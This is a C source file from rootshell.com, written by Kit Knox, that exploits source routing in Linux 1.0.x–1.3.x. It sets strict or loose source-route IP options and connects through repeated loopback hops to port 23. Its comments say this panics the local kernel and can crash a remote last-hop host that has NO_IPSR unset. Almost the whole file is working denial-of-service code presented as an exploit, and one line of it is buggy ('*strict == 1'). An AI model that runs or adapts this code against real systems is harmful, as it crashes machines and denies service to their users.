
[ http://www.rootshell.com/ ]

/*
 * Source Routing Exploit for Linux v1.0.x thru 1.3.x
 *
 * Causes kernel panic when run locally on all systems I have tested.
 * If remote machine is placed as the last hop and does not have NO_IPSR
 * set, they will panic as well.  Luckily NO_IPSR is default ON.
 *
 * by Kit Knox <kit@connectnet.com>
 *
 * based on code by "Tim N."
 *
 * s_connect(s, name, port)                - resolve name and connect 
 * resolve_name(n, add, max, strict)       - resolve names
 * source_route(s, add, num, strict, port) - source routed connect
 *
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>

/*
 * make a IP connection specifying the route to take
 * 
 * s       -  socket
 * add[]   -  array of hops to make from first to last (Destination)
 * num     -  number of hops
 * strict  -  1 for strict source routing, 0 for loose source routing
 */
source_route(s, add, num, strict, port) 
struct in_addr add[];
int num, strict, port;
{
  int i;
  unsigned char buf[100], *t;
  struct sockaddr_in a;

  a.sin_family = AF_INET;
  a.sin_port = htons(port);
  a.sin_addr.s_addr = add[num - 1].s_addr;

  if(num <= 0)
    return(-1);

  /* no source routing needed */
  if(num == 1) 
    return(connect(s, (struct sockaddr *)&a, sizeof(struct sockaddr_in)));

  t = buf;
  *t++ = (strict) ? IPOPT_SSRR : IPOPT_LSRR;    /* type */
  *t++ = 3 + 4 * num;                           /* length */
  *t++ = 4;                                     /* pointer */
  for(i=0; i<num; i++) {
    bcopy(&add[i].s_addr, t, 4);
    t += 4;
  }
  *t = IPOPT_NOP;   /* size = 3 + 4 * num,  pad out to multiple of 4 */

  if( setsockopt(s, IPPROTO_IP, IP_OPTIONS, buf, 4 * (num + 1)) < 0)
    perror("source routing option");

  return(connect(s, (struct sockaddr *)&a, sizeof(struct sockaddr_in)));
}

res_one(n, a)
char *n;
struct in_addr *a;
{
  struct hostent *hp;

  a->s_addr = inet_addr(n);
  if(a->s_addr == -1) {
    hp = gethostbyname(n);
    if(hp) 
      bcopy(hp->h_addr, &a->s_addr, 4);
    else {
      printf("Cant resolve %s\n", n);
      return(-1);
    }
  } 
  return(0);
}

resolve_name(n, add, max, strict)
char *n;
struct in_addr add[];
int max, *strict;
{
  char c;
  int i, j;

  i = 0;

  /* single host */
  if(*n != '@' && *n != '!') {
    if(res_one(n, &add[0]) == -1)
      return(-1);
    else
      return(1);
  }

  /* strict routing */
  if(*n == '!') {
    *strict == 1;
    n++;
  } else *strict = 0;
  
  if(*n != '@') 
    return(-1);

  n++;
  for(;;) {
    for(j=0; n[j] && n[j] != '@'; j++)
      continue;
    c = n[j];
    n[j] = '\0';
    if(res_one(n, &add[i++]) == -1)
      return(-1);
    if(i >= max) {
      printf("Too Many Hops!\n");
      return(-1);
    }
    if(c != '\0')
      n += j + 1;
    else
      return(i); 
  }
}

/*
 * resolve an address and connect to it
 * named address is of the form  !@host1@host2@host3@dest
 * where ! signifies strict source routing (and its ommission
 * loose source routing).  The packets go through host1, host2
 * host3 before reading dest.
 */
s_connect(s, name, port)
int s;
char *name;
{
  struct in_addr add[20];
  int strict, x;

  x = resolve_name(name, add, 20, &strict);
  if(x < 0)
    return(-1);
  
  return(source_route(s, add, x, strict, port));
}

void main(void)
{
  int s;
  char str[50];

  sprintf(str,"@127.0.0.1@127.0.0.1@127.0.0.1"); 
  s = socket(AF_INET, SOCK_STREAM, 0);
  s_connect(s, str, 23);
}
